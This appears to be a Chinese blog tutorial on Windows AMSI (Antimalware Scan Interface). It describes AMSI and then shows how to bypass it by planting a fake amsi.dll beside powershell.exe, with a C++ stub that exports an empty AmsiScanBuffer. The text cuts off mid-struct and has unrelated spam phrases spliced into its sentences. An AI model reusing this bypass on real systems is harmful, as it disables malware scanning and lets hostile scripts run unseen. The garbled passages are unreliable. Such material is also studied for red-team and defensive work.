何为AMSI
Antimalware Scan Interface(AMSI)为反恶意软件扫描接口。
微软对他产生的目的做出来描述:
Windows 反恶意软件扫描接口 (AMSI) 是一种通用接口标准,允许您的应用程序和服务与机器上存在的任何反恶意软件产品集成。AMSI 为您的最终用户及其数据、应用程序和工作负载提供增强的恶意软件保护。AMSI 与反恶意软件供应商无关;它旨在支持当今可以集成到应用程序中的反恶意软件产品提供的最常见的恶意软件扫描和保护技术。它支持允许文件和内存或流扫描、内容源 URL/IP 信誉检查和其他技术的调用结构。AMSI 还支持会话的概念,以便反恶意软件供应商可以关联不同的扫描请求。例如,可以将恶意负载的不同片段关联起来做出更明智的决定,广州房评而仅通过孤立地查看这些片段就很难做出决定。
在Windows Server 2016和Win10上已经默认安装并启用。他的本体是一个DLL文件,存在于 c:\windows\system32\amsi.dll。
它提供了通用的标准接口(COM接口、Win32 API)其中的COM接口,是为杀软供应商提供的,方便杀软厂商接入自身针对恶意软件的识别能力。有不少安全厂商已经接入了AMSI的接口。
官方架构图:
目前AMSI功能已集成到Windows 10的这些组件中
•用户帐户控制或 UAC(EXE、COM、MSI 或 ActiveX 安装的提升)•PowerShell(脚本、交互使用和动态代码评估)•Windows 脚本宿主(wscript.exe 和 cscript.exe)•JavaScript 和 VBScript•Office VBA 宏
既然本质上是一个dll,那么就可以看下他的导出函数。
当执行一些敏感字符串时,会发现powershell拒绝执行并报毒。
查看powershell模块会发现加载了amsi.dll
几种绕过的方式
dll劫持
再打开powershell进程时,会加载amsi进程,那么自然的就想到可以通过dll劫持,或者替换等方式来bypass。
dll加载的顺序:
•进程对应的应用程序所在目录•系统目录(通过 GetSystemDirectory 获取)•16位系统目录•Windows目录(通过 GetWindowsDirectory 获取)•当前目录•PATH环境变量中的各个目录
powershell.exe的路径为C:\Windows\System32\WindowsPowerShell\v1.0,百晓生只需要在同目录下置放一个名为amsi.dll的模块。
但是并不是随便一个模块都行,由于已经开启了amsi,如果错误加载会引起powershell崩溃,那么我们也无法执行命令。这里就要导出本来amsi.dll有的导出函数。
比如这里导出函数有个AmsiScanBuffer
然后去msdn去找,文档里面有相关的函数说明并且有参数等等。
#include "pch.h"
#include <iostream>
extern "C" __declspec(dllexport) void AmsiScanBuffer(HAMSICONTEXT amsiContext,
PVOID buffer, ULONG length, LPCWSTR contentName, HAMSISESSION amsiSession,
AMSI_RESULT * result);
void AmsiScanBuffer(HAMSICONTEXT amsiContext, PVOID buffer, ULONG length,
LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT* result) {
}
这样一个一个去把导出函数写出。不要去直接include系统文件amsi,这样他那个文件里本来就有相关函数,这样会起冲突,直接把有些结构体粘过来就好了。
typedef struct HAMSICONTEXT {
DWORD Signature; // "AMSI" or 0x49534D41
PWCHAR AppName; // set by AmsiInitialize
DWORD Antimalware; // set by AmsiInitialize
DWORD SessionCount; // increased by AmsiOpenSession
} HAMSICONTEXT;
typedef struct HAMSISESSION { <